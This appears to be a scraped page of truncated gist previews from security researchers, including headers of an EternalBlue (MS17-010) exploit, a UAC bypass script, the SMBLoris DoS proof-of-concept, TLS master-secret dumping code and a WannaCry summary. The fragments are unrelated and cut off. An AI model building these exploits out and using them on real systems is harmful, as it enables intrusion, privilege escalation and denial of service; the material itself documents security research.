amtal

This is a common-jargon walkthrough of an interesting Diablo 2 exploit. It provides the necessary background information (network protocol and game mechanics) to gain some understanding of the primitives from which it's constructed. Since the exploit is against a black-box network service with no available code, exact details and subtleties remain a mystery. :)

Exploit effects

Diablo 2 items can have a list of properties with various effects. The most common items (normal or "white" ones) have very few possible effects; however, all items can have sockets. Rune and gem-type items can be inserted into sockets. Some sequences of runes are special - inserting them into a white item makes a runeword item with predictable special properties.

Here's an example runeword "Peace" created by inserting Shael, Thul, and Amn runes into a 3-socket Light Plate:

benmmurphy

DumpMS = fun() ->
     FindMs = fun(Socket) ->
          Pid = element(3, Socket),
          Connection = sys:get_state(Pid),
          State = element(2, Connection),
          Session = element(18, State),
          SessionId = element(2, Session),
          MasterSecret = element(7, Session),
          {SessionId, MasterSecret}
     end,

ChiChou

#!/usr/bin/env python3
import struct
import lief
from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS


def check(filename):
  macho = lief.parse(filename)

  # check this?

skochinsky

# based on code from http://trendystephen.blogspot.be/2008/01/rich-header.html
import sys
import struct

# I'm trying not to bury the magic number...
CHECKSUM_MASK = 0x536e6144 # DanS (actuall SnaD)
RICH_TEXT = 'Rich'
RICH_TEXT_LENGTH = len(RICH_TEXT)
PE_START = 0x3c
PE_FIELD_LENGTH = 4

rain-1

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

• Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
• Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
• Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
• Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
• Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

worawit

#!/usr/bin/python
# This file has no update anymore. Please see https://github.com/worawit/MS17-010
from impacket import smb
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

tyranid

# Powershell script to bypass UAC on Vista+ assuming
# there exists one elevated process on the same desktop.
# Technical details in:
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
# You need to Install-Module NtObjectManager for this to run.

Import-Module NtObjectManager

hfiref0x

	DWORD Error, bytesIO;
	NTSTATUS Status;
	HANDLE hProcessToken = NULL, hNewToken = NULL, hTest;
	BOOL bCond = FALSE;
	SHELLEXECUTEINFO shinfo;
	SID_IDENTIFIER_AUTHORITY MLAuthority = SECURITY_MANDATORY_LABEL_AUTHORITY;
	TOKEN_MANDATORY_LABEL tml, *ptml;
	PSID pIntegritySid = NULL;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;

worawit

# This file has no update anymore. Please see https://github.com/worawit/MS17-010
import sys
from struct import pack

if len(sys.argv) < 4:
	print('Usage: {} sc_x86 sc_x64 sc_out'.format(sys.argv[0]))
	sys.exit()

sc_x86 = open(sys.argv[1], 'rb').read()
sc_x64 = open(sys.argv[2], 'rb').read()

marcan

/* SMBLoris attack proof-of-concept
 * 
 * Copyright 2017 Hector Martin "marcan" <[email protected]>
 *
 * Licensed under the terms of the 2-clause BSD license.
 *
 * This is a proof of concept of a publicly disclosed vulnerability.
 * Please do not go around randomly DoSing people with it.
 *
 * Tips: do not use your local IP as source, or if you do, use iptables to block